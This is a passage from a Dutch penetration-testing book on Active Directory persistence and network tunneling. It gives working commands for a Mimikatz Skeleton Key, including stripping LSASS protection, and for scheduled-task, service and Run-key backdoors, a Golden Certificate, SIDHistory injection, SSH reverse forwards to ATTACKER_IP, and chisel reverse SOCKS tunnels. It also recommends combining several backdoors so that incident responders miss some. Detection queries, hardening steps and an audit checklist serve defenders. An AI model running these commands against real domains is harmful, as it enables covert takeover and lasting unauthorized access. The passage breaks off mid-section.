$acl = Get-WmiObject -Namespace root\cimv2 -Class __SystemSecurity
$acl.GetSecurityDescriptor().Descriptor | Format-List

# WinRM security descriptor controleren
winrm get winrm/config/service

Zoek naar ACE’s die niet-admin gebruikers toegang geven tot deze subsystemen. In een standaardconfiguratie hebben alleen administrators en NETWORK SERVICE toegang.

Skeleton Key

Het master-wachtwoord

De Skeleton Key is het brutaalste persistentiemechanisme in het hele Active Directory-arsenaal. Het is zo brutaal dat het bijna komisch is. Het concept: je patcht het LSASS-proces op de domain controller zodat naast elk normaal wachtwoord ook een “master-wachtwoord” geaccepteerd wordt. Het standaard master-wachtwoord van Mimikatz? mimikatz. Geen sterretjes. Geen versleuteling. Gewoon het woord “mimikatz.”

Stel je voor: elke deur in het gebouw heeft een uniek slot. Elke medewerker heeft een eigen sleutel. Dat is normaal. Maar iemand heeft een loper gemaakt die in elk slot past. Niet door de sloten te vervangen — ze werken nog steeds met de originele sleutels — maar door ze zo aan te passen dat ze ook de loper accepteren. Het originele slot werkt nog. De originele sleutels werken nog. Maar er is nu een universele bijsleutel.

De aanval

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dc01.domain.local

Dat is het. Eén regel. Na het uitvoeren werkt voor elk account in het domein — elke gebruiker, elke admin, elk service account — naast het echte wachtwoord ook het wachtwoord mimikatz.

Test de Skeleton Key:

Enter-PSSession -ComputerName dc01 -Credential domain\Administrator
# Wachtwoord: mimikatz

Je logt in als Administrator met het wachtwoord “mimikatz.” Het echte wachtwoord van Administrator werkt ook nog — niets is zichtbaar veranderd voor de eigenaar van het account. Maar de aanvaller heeft nu een universele sleutel.

LSASS als Protected Process

Moderne Windows-versies kunnen LSASS draaien als Protected Process Light (PPL), wat voorkomt dat ongetekende code het proces kan patchen. De Skeleton Key werkt dan niet direct. Maar Mimikatz heeft daar een antwoord op:

mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton

De !+ en !processprotect commando’s laden een kernel-driver die de PPL-bescherming verwijdert. Daarna kan de Skeleton Key alsnog geïnjecteerd worden. Het is alsof je het alarm uitschakelt voordat je inbreekt — technisch ingewikkelder, maar het eindresultaat is hetzelfde.

IB — Het persist_skeleton_key command bevat zowel de standaard injectie als de methode voor wanneer LSASS als protected process draait. Het standaard wachtwoord is mimikatz. Test altijd direct na injectie of het werkt — de injectie kan stil falen als LSASS-beschermingen actief zijn die Mimikatz niet omzeilt.

Beperkingen

De Skeleton Key heeft significante beperkingen vergeleken met de andere methoden in dit hoofdstuk:

  1. Niet persistent na reboot: De patch zit in het geheugen van LSASS. Een reboot van de DC verwijdert de Skeleton Key.
  2. Alleen op DC’s: De patch moet worden aangebracht op elke DC in het domein. Als het domein drie DC’s heeft, moet je het drie keer uitvoeren.
  3. AES niet ondersteund: De Skeleton Key ondersteunt standaard alleen RC4-encryptie. Als het domein AES-only afdwingt, werkt de techniek niet.
  4. Detecteerbaar via encryption downgrade: Authenticaties via de Skeleton Key gebruiken RC4 in plaats van AES. Dit is detecteerbaar als je Kerberos encryption types monitort.
  5. LSASS-instabiliteit: Het patchen van LSASS kan in zeldzame gevallen het proces laten crashen, wat de DC herstart.

Ondanks deze beperkingen is de Skeleton Key een krachtig wapen in het korte termijn. Het biedt universele toegang zonder bestanden, zonder registerwijzigingen, en zonder netwerk-artefacten — zolang de DC niet herstart wordt.

Skeleton Key technisch

Wat doet de Skeleton Key precies in LSASS? Het patcht de CDLocateCSystem en SamIRetrieveMultiplePrimaryCredentials functies in het geheugen. Normaal vergelijken deze functies het ingevoerde wachtwoord (of hash) met de opgeslagen hash in de AD-database. Na het patchen vergelijken ze het ook met een hardcoded hash — de RC4-hash van “mimikatz.”

Normale authenticatie:
  User input  ──> Hash ──> Vergelijk met AD-hash ──> Match? ──> Toegang

Na Skeleton Key:
  User input  ──> Hash ──> Vergelijk met AD-hash ──> Match? ──> Toegang
                       └──> Vergelijk met "mimikatz" hash ──> Match? ──> Toegang

Het is een OR-conditie. Het echte wachtwoord werkt. Het skeleton-wachtwoord werkt ook. En omdat het een in-memory patch is, staat er niets op disk dat een forensisch onderzoeker kan vinden — tenzij je een memory dump maakt van LSASS en de gewijzigde functies identificeert.

Detectie van Skeleton Key

De meest betrouwbare detectiemethode is het monitoren van Kerberos encryption types:

# Zoek naar RC4 (etype 23) TGT-aanvragen
# Skeleton Key forceert RC4 encryptie
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4769
} | Where-Object {
    $_.Message -match 'Ticket Encryption Type:.*0x17'
} | Select-Object TimeCreated, Message

In een moderne AD-omgeving die AES gebruikt (wat de standaard zou moeten zijn), is RC4-authenticatie al verdacht. Skeleton Key maakt het extra verdacht omdat alle authenticaties plots RC4 gebruiken — een patroon dat opvalt als je ernaar zoekt.

Andere detectiepunten: - Sysmon Event 10: Process Access naar lsass.exe met verdachte rechten - Event ID 7045: Nieuwe service geinstalleerd (als Mimikatz als service draait) - LSASS memory integrity: Tools als Windows Defender Credential Guard of HyperV-gebaseerde beveiliging die LSASS-patches detecteren

Andere persistentiemethoden

De vijf methoden hierboven zijn de “kroonjuwelen” van AD-persistentie, maar ze zijn niet de enige opties. Een kort overzicht van aanvullende technieken:

Scheduled Tasks en Services

De klassiekers. Een scheduled task die bij elke boot een reverse shell start, of een Windows service die een payload uitvoert. Simpel, effectief, maar ook relatief makkelijk te detecteren:

# Scheduled task op DC
schtasks /create /tn "SystemUpdate" /tr "powershell.exe -enc <BASE64>" `
  /sc onstart /ru SYSTEM /s dc01

# Service installeren
sc \\dc01 create backdoor binPath= "cmd /c powershell -enc <BASE64>" start= auto

Het nadeel: bestanden op disk, processen in het geheugen, en Sysmon/EDR ziet het vrijwel direct. Gebruik dit alleen als fallback.

Registry Run Keys

# HKLM Run key voor alle gebruikers
Set-ItemProperty `
  -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "SystemCheck" `
  -Value "powershell.exe -WindowStyle Hidden -enc <BASE64>"

Elke keer dat iemand inlogt op de machine, wordt je payload uitgevoerd. Zichtbaar voor elke beheerder die het register inspecteert, maar hoeveel beheerders doen dat regelmatig?

DCShadow

DCShadow is een geavanceerde techniek die een valse domain controller registreert in Active Directory, wijzigingen pusht via replicatie, en zichzelf daarna weer verwijdert. Het is als een spion die zich uitgeeft als diplomaat, een verdrag ondertekent, en weer vertrekt voordat iemand het doorheeft.

DCShadow kan gebruikt worden om: - Objectattributen te wijzigen (bijv. SIDHistory toevoegen) - ACL’s aan te passen - AdminSDHolder te modificeren - Alles wat via AD-replicatie gepusht kan worden

De kracht: wijzigingen via DCShadow verschijnen als normale replicatie. Er is geen direct spoor naar de bron, tenzij je replicatie-metadata gedetailleerd analyseert.

Golden Certificate

In het vorige hoofdstuk behandelden we ADCS. Een Golden Certificate is het persistentie-equivalent van een Golden Ticket: als je de private key van de Certificate Authority hebt, kun je voor altijd willekeurige certificaten uitgeven. Geen template nodig. Geen enrollment rechten nodig. Je bent de CA.

# CA private key exporteren (als DA)
certipy ca -backup -ca domain-CA -target dc01.domain.local \
  -u admin@domain.local -p 'Password!'

# Op elk moment een certificaat uitgeven
certipy forge -ca-pfx ca.pfx -upn Administrator@domain.local \
  -subject "CN=Administrator,CN=Users,DC=domain,DC=local"

Dit overleeft password resets, ticket rotatie, en zelfs het verwijderen van kwetsbare templates. Zolang de CA-key niet wordt gewisseld — wat een volledige PKI-herinstallatie vereist — blijft de aanvaller onkwetsbaar.

SIDHistory injection

Door de SID van de Enterprise Admins-groep toe te voegen aan het SIDHistory-attribuut van een gewoon account, krijgt dat account Enterprise Admin-rechten in het hele forest. Dit is persistent, subtiel, en overleeft password resets.

# Via Mimikatz
Invoke-Mimikatz -Command '"sid::add /sam:targetuser /new:S-1-5-21-...-519"'

SIDHistory was oorspronkelijk bedoeld voor migratiescenario’s: wanneer een gebruiker van het ene domein naar het andere verhuist, behoudt de SIDHistory de rechten uit het oude domein. Het is een elegant systeem met een verschrikkelijke bijwerking: niets voorkomt dat je de SID van een willekeurige groep toevoegt. En de SID van Enterprise Admins (RID 519) geeft rechten over het hele forest.

Vergelijking van methoden

                    Subtiliteit
                         ^
                         |
  Security Descriptors   |   AdminSDHolder
        ★                |        ★
                         |
                         |
      DSRM               |   Golden Certificate
        ★                |        ★
                         |
                         |
  Custom SSP (mem)       |   DCShadow
        ★                |        ★
                         |
                         |
  Skeleton Key           |   Scheduled Tasks
        ★                |        ★
                         +─────────────────────> Persistentie
                                                  (overleeft reboot)

De ideale persistentiemethode bevindt zich rechtsboven: subtiel en persistent. Security Descriptors en AdminSDHolder scoren hier het beste. De Skeleton Key is subtiel maar niet persistent. Scheduled Tasks zijn persistent maar niet subtiel. De keuze hangt af van je prioriteiten en de verdedigingscapaciteiten van het doelwit.

Detectie en verdediging

Het grotere plaatje

Persistentie detecteren is als het zoeken naar een naald in een hooiberg, behalve dat de naald er precies uitziet als stro. Elke methode in dit hoofdstuk misbruikt legitieme Windows-functionaliteit. AdminSDHolder moet permissions propageren — dat is zijn functie. LSASS moet SSP’s laden. Het DSRM-account moet bestaan. De verdediger moet onderscheid maken tussen normaal gebruik en misbruik van dezelfde mechanismen.

Detectiematrix

Methode Detectiepunt Event ID Moeilijkheid
AdminSDHolder ACL-wijziging op AdminSDHolder object 5136 (Directory Service Changes) Gemiddeld
Custom SSP Registry wijziging of DLL loading in LSASS Sysmon Event 13 (Registry) Gemiddeld
DSRM DsrmAdminLogonBehavior registerwijziging Sysmon Event 13 Laag
Security Descriptors ACL-wijziging op WMI/WinRM/Registry WMI: Event 4662 Hoog
Skeleton Key RC4 downgrade in Kerberos authenticatie 4769 (TGS Request) met RC4 Gemiddeld
DCShadow Onverwachte replicatie-partner 4928/4929 (Replication) Hoog
Golden Certificate Certificaten niet in CA-database CA audit logs Hoog

Verdedigingslagen

Laag 1: Preventie

# LSA Protection inschakelen
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
  -Name "RunAsPPL" -Value 1 -PropertyType DWORD

# Credential Guard inschakelen (via Group Policy)
# Computer Configuration > Administrative Templates > System > Device Guard
# > Turn On Virtualization Based Security > Credential Guard: Enabled

LSA Protection voorkomt Custom SSP en Skeleton Key. Credential Guard isoleert credentials zodat zelfs een gecompromitteerde kernel ze niet kan benaderen.

Laag 2: Monitoring

De absolute minimum-set aan monitoring voor persistentiedetectie:

# Sysmon configuratie (relevant excerpts)
- Event 13: Registry value wijzigingen
  Filter op: \Control\Lsa\Security Packages
  Filter op: \Control\Lsa\DsrmAdminLogonBehavior

# Windows Security Event Log
- Event 4780: ACL wijziging op beschermd object (SDProp-gerelateerd)
- Event 5136: Directory service object wijziging
- Event 4794: DSRM password instelling
- Event 4769: Kerberos TGS requests (filter op RC4 encryption)

Laag 3: Regelmatige audits

# AdminSDHolder ACL controleren
(Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=local").Access |
  Format-Table IdentityReference, ActiveDirectoryRights

# Security Packages registry controleren
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ `
  -Name 'Security Packages'

# DsrmAdminLogonBehavior controleren
Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa\ `
  -Name "DsrmAdminLogonBehavior" -ErrorAction SilentlyContinue

Voer deze controles maandelijks uit. Beter nog: automatiseer ze en alert bij afwijkingen.

Laag 4: Incident Response

Als je persistentie ontdekt, is de keten van acties afhankelijk van de methode:

Methode Herstel
AdminSDHolder Verwijder de kwaadaardige ACE, forceer SDProp, controleer alle beschermde groepen
Custom SSP Verwijder registry entry, verwijder DLL, herstart DC, overweeg DSRM-wachtwoord reset
DSRM Verwijder DsrmAdminLogonBehavior, reset DSRM-wachtwoord via ntdsutil
Security Descriptors Reset security descriptors op WMI/WinRM/Registry naar defaults
Skeleton Key Herstart de DC (verwijdert de patch uit geheugen)
Golden Certificate Heruitgave van de CA-key, revocatie van alle certificaten

Die laatste — Golden Certificate — is reden genoeg om je CA-key in een HSM te bewaren. Een volledige PKI-heruitgifte is een operatie die weken duurt en het hele netwerk raakt.

De werkelijkheid van “we hebben alles opgeruimd”

Laten we eerlijk zijn over het incident response-proces bij de meeste organisaties. Het SOC ontdekt een compromis. Er wordt een crisisteam samengesteld. Er worden wachtwoorden gereset, werkstations opnieuw geïmaged, en VPN-toegangen uitgeschakeld. Na twee weken intensief werk verklaart het management: “We hebben de situatie onder controle. De aanvaller is verwijderd.”

En misschien is dat waar. Misschien.

Maar heb je de AdminSDHolder-ACL gecontroleerd? Heb je de Security Packages in het register van elke DC geïnspecteerd? Heb je het DsrmAdminLogonBehavior op elke DC gecontroleerd? Heb je de WMI-security descriptors geaudit? Heb je de CA-private key geroteerd? Heb je SIDHistory van alle accounts gecontroleerd?

In de overgrote meerderheid van de gevallen is het antwoord: nee. Niet uit onwil, maar uit onwetendheid. De meeste incident response-teams focussen op werkstations en servers — bestanden, processen, netwerk-connecties. Ze zoeken naar malware. Naar C2-kanalen. Naar indicators of compromise die in hun SIEM-regels staan.

Maar de persistentiemechanismen in dit hoofdstuk leven niet op werkstations. Ze leven in Active Directory zelf. In ACL’s. In security descriptors. In registry keys op de DC. In het geheugen van LSASS. Plekken waar het incident response-team niet kijkt, omdat het niet weet dat het daar moet kijken.

Het is als een ziekenhuisteam dat de patiënt behandelt voor een gebroken been terwijl er een tumor groeit die niemand heeft opgemerkt. Het been geneest. De patiënt gaat naar huis. En drie maanden later is het weer mis, en niemand begrijpt waarom.

De les is simpel maar oncomfortabel: een incident response is pas compleet wanneer je actief hebt gezocht naar — en uitgesloten — elke persistentiemethode die de aanvaller had kunnen implementeren. Niet de methoden die je kent. Alle methoden. En dat vereist kennis die de meeste teams niet hebben, tijd die het management niet wil geven, en tools die de meeste organisaties niet bezitten.

“We hebben alles gepatcht.” Nee, je hebt de voordeur gerepareerd. De aanvaller zit nog steeds in de kelder.

Het clean-up probleem

Er is nog een dimensie die dit alles complexer maakt: zelfs wanneer je weet welke persistentiemechanismen er zijn, is het verwijderen ervan niet triviaal. Neem de AdminSDHolder-backdoor. Je vindt de kwaadaardige ACE, je verwijdert hem. Maar heb je ook alle beschermde groepen gecontroleerd? SDProp heeft de ACE al gekopieerd naar Domain Admins, Enterprise Admins, en alle andere beschermde groepen. Je moet de ACE verwijderen van AdminSDHolder en van elke groep waar hij naartoe is gekopieerd. Miss je er een, dan werkt de backdoor nog steeds.

Of neem de Custom SSP. Je vindt de DLL in System32 en de registry entry. Je verwijdert beide. Maar heb je het logbestand gecontroleerd? C:\Windows\system32\mimilsa.log staat vol met cleartext wachtwoorden. Als de aanvaller dat bestand al heeft geexfiltreerd, zijn al die wachtwoorden gecompromitteerd — zelfs na het verwijderen van de SSP. Je moet dan alle wachtwoorden resetten van iedereen die heeft ingelogd sinds de SSP actief was.

En bij de Golden Certificate: als de CA-private key is gestolen, is er eigenlijk maar een oplossing die garantie biedt: een volledige PKI-herinstallatie. Nieuwe CA. Nieuwe root key. Nieuwe certificaten voor iedereen. In een omgeving met duizenden systemen is dat een project van maanden.

De harde waarheid is dat sommige persistentiemechanismen zo diep gaan dat de enige betrouwbare oplossing een volledige rebuild van het domein is: een nieuw forest, nieuwe DC’s, nieuwe accounts, gecontroleerde migratie van data. Dat is de nucleaire optie. Maar soms is het de enige optie.

Persistentie audit checklist

Als pen tester of als verdediger: gebruik deze checklist na elk compromis om systematisch persistentie uit te sluiten:

Active Directory niveau:
[ ] AdminSDHolder ACL gecontroleerd op ongeautoriseerde ACE's
[ ] SIDHistory van alle accounts gecontroleerd (geen verdachte SID's)
[ ] Alle GP-links en GPO's gecontroleerd op kwaadaardige scripts
[ ] Alle certificate templates gecontroleerd op wijzigingen
[ ] CA configuratie gecontroleerd (EDITF_ATTRIBUTESUBJECTALTNAME2)
[ ] Kerberos krbtgt-wachtwoord twee keer gereset (golden ticket invalidatie)
[ ] Replicatie-metadata gecontroleerd op DCShadow-sporen

Domain Controller niveau (per DC):
[ ] Security Packages registry key gecontroleerd
[ ] DsrmAdminLogonBehavior registry key gecontroleerd
[ ] WMI namespace security descriptors gecontroleerd
[ ] WinRM endpoint security descriptors gecontroleerd
[ ] Remote Registry security descriptors gecontroleerd
[ ] Scheduled tasks gecontroleerd
[ ] Services gecontroleerd
[ ] DLL's in System32 gecontroleerd tegen baseline
[ ] LSASS memory geanalyseerd (Skeleton Key, custom SSP)

PKI niveau:
[ ] CA private key integriteit geverifieerd
[ ] Alle uitgegeven certificaten gereviewed
[ ] Onverwachte certificaten ingetrokken

Account niveau:
[ ] Alle wachtwoorden gereset (inclusief service accounts)
[ ] DSRM-wachtwoorden gereset op elke DC
[ ] Alle Kerberos tickets geïnvalideerd

Persistentie prioritering

Niet alle persistentiemethoden zijn gelijk. Als aanvaller kies je op basis van je situatie:

Scenario Aanbevolen methode Reden
Langdurige, stille toegang AdminSDHolder + Security Descriptors Geen malware, overleeft alles
Wachtwoorden verzamelen Custom SSP Direct cleartext credentials
Snelle nood-backdoor DSRM Minimale wijzigingen, snel op te zetten
Korte termijn universele toegang Skeleton Key Werkt voor alle accounts, geen bestanden
Maximale persistentie Golden Certificate + AdminSDHolder Overleeft zelfs volledige DC-herinstallatie (als CA intact blijft)

De meest robuuste strategie combineert meerdere methoden in verschillende categorieën: een ACL-gebaseerde methode (AdminSDHolder), een credential-harvest methode (Custom SSP), en een authenticatie-backdoor (DSRM of Golden Certificate). Redundantie is de sleutel — als het incident response-team een methode vindt, heb je nog twee over.

Referentietabel

Onderwerp IB Command Tool Vereiste Persistent na reboot
AdminSDHolder ACL backdoor persist_adminsdholder PowerView DA Ja
Custom SSP (registry) persist_custom_ssp Mimikatz + mimilib.dll DA Ja
Custom SSP (in-memory) persist_custom_ssp Mimikatz DA Nee
DSRM abuse persist_dsrm Mimikatz DA Ja
Security Descriptor backdoors persist_security_descriptors RACE toolkit DA Ja
Skeleton Key persist_skeleton_key Mimikatz DA Nee
Golden Certificate (handmatig / Certipy) Certipy DA + CA key Ja
DCShadow (handmatig / Mimikatz) Mimikatz DA + 2 sessies Ja
SIDHistory injection (handmatig / Mimikatz) Mimikatz DA Ja

In het volgende hoofdstuk behandelen we tunneling — de kunst om verkeer door vijandelijk territorium te loodsen. Want al die persistentie is niets waard als je er niet bij kunt. SSH SOCKS, chisel, dnscat2, en meer: de geheime doorgangen van het netwerk.

Tunneling en Pivoting

Tunneling en Pivoting

Er loopt, diep onder de Mexicaans-Amerikaanse grens, een tunnel die in 2020 werd ontdekt en die zo geavanceerd was dat hij een eigen spoorlijntje, ventilatie en elektriciteit had. Meer dan 1.300 meter lang, compleet met een lift aan de Mexicaanse kant en een uitgang in een onopvallend industriepand in het zuiden van San Diego. De douane liep er jarenlang letterlijk overheen zonder iets te merken.

Het punt is niet dat smokkelaars creatief zijn – dat wisten we al. Het punt is dat de meest effectieve manier om een bewaakt grensgebied te passeren niet is om harder te rennen, of onzichtbaar te worden, of de bewakers om te kopen. Het is om een weg te graven die de bewakers niet eens weten te zoeken. Een weg die recht onder hun voeten loopt, terwijl zij met verrekijkers naar de horizon turen.

Tunneling in computernetwerken werkt op exact hetzelfde principe. Je hebt een netwerk dat keurig is gesegmenteerd. Er zijn firewalls. Er zijn regels. Er zijn zones met namen als “DMZ” en “Management VLAN” die in de architectuurtekening met mooie kleurtjes zijn aangeduid. En dan ontdekt een penetratietester dat hij via een gecompromitteerde webserver een SSH-verbinding kan opzetten die al het verkeer naar het interne netwerk doorsluist alsof die segmentatie er nooit is geweest.

Welkom bij tunneling en pivoting – de kunst van het graven van digitale smokkeltunnels.

Waarom tunneling?

De meeste organisaties investeren flink in netwerksegmentatie. Dat is verstandig. Het idee is simpel: als een aanvaller het ene segment compromitteert, kan hij niet bij het andere. De webservers staan in de DMZ, de databases staan in een intern VLAN, en het management-netwerk is alleen bereikbaar via een jumphost.

In theorie.

In de praktijk is er bijna altijd een machine die in meerdere netwerken tegelijk zit. Een dual-homed server. Een applicatieserver die zowel in de DMZ als in het database-VLAN hangt. Een beheerworkstation dat overal bij kan “omdat dat makkelijker is”. En zodra je zo’n machine hebt gecompromitteerd, wordt die machine je pivot point – het scharnierpunt vanwaar je het volgende netwerksegment kunt bereiken.

Maar bereikbaarheid alleen is niet genoeg. Je hebt ook een manier nodig om je gereedschap door die pivot heen te sturen. Je Kali-machine staat in het aanvallersnetwerk. Je target staat in een intern segment dat niet direct bereikbaar is. Je hebt een tunnel nodig – een verborgen kanaal dat je verkeer van A naar B transporteert, ingepakt in een protocol dat de firewalls doorlaten.

En dat is precies wat dit hoofdstuk behandelt. Zeven verschillende manieren om tunnels te graven. Van het elegante SSH tot het brutale DNS. Van het minimalistische netsh tot het allesomvattende Metasploit. Elk met zijn eigen sterke en zwakke punten, en elk met een specifiek scenario waarin het de beste keuze is.

SSH Tunneling

Als tunneling een gereedschapskist is, dan is SSH de hamer. Niet omdat het het meest geavanceerde gereedschap is, maar omdat het overal beschikbaar is, iedereen het kent, en het in negentig procent van de gevallen precies doet wat je nodig hebt.

SSH – Secure Shell – werd in 1995 ontworpen door Tatu Ylonen, een Finse onderzoeker die geschrokken was van een wachtwoord-sniffing-aanval op zijn universiteitsnetwerk. Het oorspronkelijke doel was simpel: een versleutelde vervanging voor telnet. Maar ergens onderweg kreeg SSH de mogelijkheid om willekeurige TCP-verbindingen door te sturen, en daarmee werd het onbedoeld een van de krachtigste tunneling-tools die ooit zijn gemaakt.

Local Port Forwarding: -L

Local port forwarding is de meest rechttoe rechtaan vorm van SSH-tunneling. Je zegt tegen SSH: “Luister op een poort op mijn lokale machine, en stuur alles wat daar binnenkomt door naar een specifiek adres en poort aan de andere kant van de SSH-verbinding.”

ssh -N -L 8080:INTERNAL_TARGET:80 user@PIVOT_HOST

Laten we dit ontleden:

Na dit commando kun je op je aanvalsmachine http://127.0.0.1:8080 openen en je praat rechtstreeks met de interne webserver. De pivot host handelt het routeren af. De firewall ziet alleen een SSH-verbinding – volkomen normaal verkeer.

Dit is het equivalent van een postadres in een ander land. Je stuurt je brief naar het adres in San Diego, en iemand in het pand stuurt het door naar de werkelijke bestemming in Tijuana. De postbode ziet alleen de eerste stap.

Remote Port Forwarding: -R

Remote port forwarding werkt precies andersom. In plaats van een poort op je lokale machine te openen, open je een poort op de remote host die terugwijst naar jouw machine.

ssh -N -R 4444:127.0.0.1:4444 user@ATTACKER_IP

Dit is bijzonder nuttig in reverse shell-scenario’s. Stel je voor: je hebt een exploit die een reverse shell terugstuurt naar poort 4444. Maar je target kan je aanvalsmachine niet direct bereiken – er zit een firewall tussen. Door een remote port forward op te zetten via de pivot host, maak je een pad terug.

De shell verbindt met de pivot host op poort 4444, en SSH stuurt dat verkeer door naar jouw machine. De firewall? Die ziet alleen uitgaande SSH-verbindingen. En uitgaand SSH-verkeer blokkeren? Dat doet bijna niemand, want dan belt de halve IT-afdeling om te klagen dat ze niet meer bij hun servers kunnen.

Dynamic SOCKS Proxy: -D

En dan is er de nucleaire optie. Dynamic port forwarding met de -D flag zet een volledige SOCKS proxy op via de SSH-tunnel.

ssh -N -D 127.0.0.1:1080 user@PIVOT_HOST

Dit creëert een SOCKS5 proxy op 127.0.0.1:1080. Elk programma dat je door deze proxy stuurt, laat zijn verkeer via de pivot host lopen. Je kunt heel het interne netwerk scannen, websites bezoeken, SMB-shares benaderen – alles via een enkele SSH-verbinding.

De IB command file tunnel_ssh_socks bevat dit commando inclusief de ProxyChains-configuratie die je nodig hebt om het te gebruiken:

# SSH Dynamic SOCKS Proxy + ProxyChains

# === SOCKS proxy opzetten ===
ssh -N -D 127.0.0.1:1080 user@PIVOT_HOST

# === ProxyChains configuratie ===
# /etc/proxychains4.conf:
# [ProxyList]
# socks5 127.0.0.1 1080

# === Gebruik via proxychains ===
proxychains nmap --top-ports=20 -sT -Pn INTERNAL_TARGET
proxychains curl http://INTERNAL_TARGET
proxychains firefox
proxychains crackmapexec smb INTERNAL_RANGE/24

IB Tip: Zoek op tunnel_ssh_socks in het Commands-paneel voor het volledige SSH SOCKS proxy-recept inclusief ProxyChains-configuratie en multi-hop voorbeelden.

ProxyChains: het bindmiddel

ProxyChains is het stukje lijm dat SSH-tunneling bruikbaar maakt voor gereedschap dat normaal geen SOCKS-proxy ondersteunt. Het werkt als een wrapper: je zet proxychains voor je commando, en het onderschept alle netwerkverbindingen en stuurt ze door de geconfigureerde proxy.

De configuratie is triviaal. Bewerk /etc/proxychains4.conf:

[ProxyList]
socks5 127.0.0.1 1080

Er is precies een belangrijke valkuil waar iedereen minstens een keer intrapt: ProxyChains werkt niet met SYN scans. Nmap’s -sS flag stuurt ruwe pakketjes die buiten de TCP-stack om gaan, en daar kan ProxyChains niets mee. Gebruik altijd -sT voor een volledige TCP connect scan:

proxychains nmap --top-ports=20 -sT -Pn INTERNAL_TARGET

Ja, het is langzamer. Ja, het is “luidruchtiger”. Maar het werkt. En een werkende scan die iets langer duurt is oneindig nuttiger dan een snelle scan die niets teruggeeft.

Multi-hop: -J en ProxyJump

Soms is een enkele pivot niet genoeg. Je moet door meerdere netwerksegmenten heen. Host A kan bij host B, host B kan bij host C, maar host A kan niet direct bij host C. Klassiek multi-hop scenario.

SSH heeft hier een elegante oplossing voor met de -J flag (ProxyJump):

ssh -J user@PIVOT1 user@PIVOT2

Of, voor de mensen die het liever in een config-bestand zetten:

Host internal
    ProxyJump pivot1
    HostName PIVOT2

Elke hop voegt latency toe. Elke hop voegt een punt toe dat kan falen. Maar soms is het de enige weg naar binnen, en dan is een langzame verbinding nog altijd beter dan helemaal geen verbinding.

Sshuttle

SSH-tunneling is krachtig, maar het heeft een fundamentele beperking: het werkt per poort, of via een SOCKS proxy die niet alle protocollen ondersteunt. Sshuttle lost dat op door een transparante VPN-achtige verbinding op te zetten die je verkeer routeert alsof je fysiek in het doelnetwerk zit.

Het mooie van sshuttle is dat het niets nodig heeft aan de serverkant behalve een werkende SSH-toegang en Python. Geen VPN-software, geen configuratie, geen root-rechten op de server. Het gebruikt SSH als transportlaag en doet alle magie aan de clientkant.

Hoe het werkt

Sshuttle manipuleert de lokale routeringstabellen en firewall-regels (via iptables op Linux, pf op macOS) zodat al het verkeer naar het opgegeven subnet automatisch door de SSH-tunnel gaat. Het is alsof je een VPN-verbinding hebt, maar dan zonder de overhead van een VPN.

sshuttle -r user@PIVOT_HOST 10.1.0.0/24

Dat is het. Vanaf dit moment gaat al het verkeer naar 10.1.0.0/24 via de pivot host. Geen ProxyChains nodig. Geen SOCKS-configuratie. Gewoon – het werkt.

IB Task Runner: sshuttle taak

In het IB-dashboard kun je sshuttle starten via de Task Runner. De taak is gedefinieerd in het _TASKS dictionary in tasks.py:

"sshuttle": {
    "label": "SSHuttle tunnel",
    "group": "network",
    "desc": "Start sshuttle VPN tunnel via SSH in screen sessie",
    "cmd": ["bash", "sshuttle.sh"],
    "args": [
        {"name": "target", "label": "SSH target",
         "placeholder": "user@10.0.0.5", "required": True,
         "pattern": "ssh_target"},
        {"name": "subnet", "label": "Subnet",
         "placeholder": "10.1.0.0/24", "required": True,
         "pattern": "subnet"},
        {"name": "key", "label": "Private key pad",
         "placeholder": "raw/loot/10.0.0.5/id_rsa",
         "required": False, "pattern": "file_path", "env": "SSH_KEY"},
        {"name": "password", "label": "SSH wachtwoord",
         "placeholder": "", "required": False,
         "type": "password", "env": "SSH_PASS"},
    ],
},

De Task Runner valideert alle invoer tegen regex-patronen voordat het commando wordt uitgevoerd. Geen shell injection mogelijk – elke parameter wordt gecontroleerd en als apart argument doorgegeven, nooit geinterpreteerd door een shell.

De onderliggende sshuttle.sh draait de tunnel in een screen-sessie zodat hij op de achtergrond blijft lopen:

#!/usr/bin/env bash
source meuk/globalmeuk.sh

SSHUTTLE_ARGS=(-r "$1" "$2")

if [ -n "$SSH_KEY" ]; then
    SSHUTTLE_ARGS=(--ssh-cmd "ssh -i $SSH_KEY" "${SSHUTTLE_ARGS[@]}")
fi

if [ -n "$SSH_PASS" ]; then
    screen -dmS "sshuttle_${1}" sshpass -p "$SSH_PASS" \
        sshuttle "${SSHUTTLE_ARGS[@]}"
else
    screen -dmS "sshuttle_${1}" sshuttle "${SSHUTTLE_ARGS[@]}"
fi

IB Tip: Start sshuttle via het Tasks-paneel in het dashboard. Vul het SSH target en subnet in, en optioneel een private key of wachtwoord. De tunnel draait in een screen-sessie en blijft actief na het sluiten van de browser.

Wanneer sshuttle vs. SSH SOCKS?

De vuistregel is simpel:

Sshuttle heeft een nadeel: het vereist root-rechten op je eigen machine (het moet immers de routeringstabel aanpassen). Maar op je Kali-box ben je toch al root, dus dat is zelden een probleem.

Chisel

Er zijn momenten waarop SSH geen optie is. De firewall blokkeert poort 22. Er is geen SSH-server op het target. Of je hebt een Windows-machine gecompromitteerd waar geen OpenSSH op staat en je hebt geen zin om er een te installeren.

Chisel is het antwoord voor die momenten. Het is een enkele binary – beschikbaar voor Windows, Linux en macOS – die TCP-tunnels opzet over HTTP en WebSocket-verbindingen. En HTTP-verkeer? Dat laten firewalls bijna altijd door. Het is het digitale equivalent van je smokkelwaar in een kist met “Bananen” erop te stoppen.

Server/Client model

Chisel werkt met een server-client-model. De server draait op je aanvalsmachine, de client op het gecompromitteerde target:

# Server (aanvaller):
chisel server --reverse --port 8080

# Client (target):
.\chisel.exe client 10.0.0.1:8080 R:socks

Met R:socks zet de client een reverse SOCKS proxy op. Alle verkeer dat je door 127.0.0.1:1080 stuurt, wordt via het target gerouteerd naar het interne netwerk. Combineer met ProxyChains en je hebt dezelfde functionaliteit als de SSH SOCKS proxy.

Port forwarding

Naast SOCKS ondersteunt Chisel ook specifieke port forwards:

# Enkele poort forwarden:
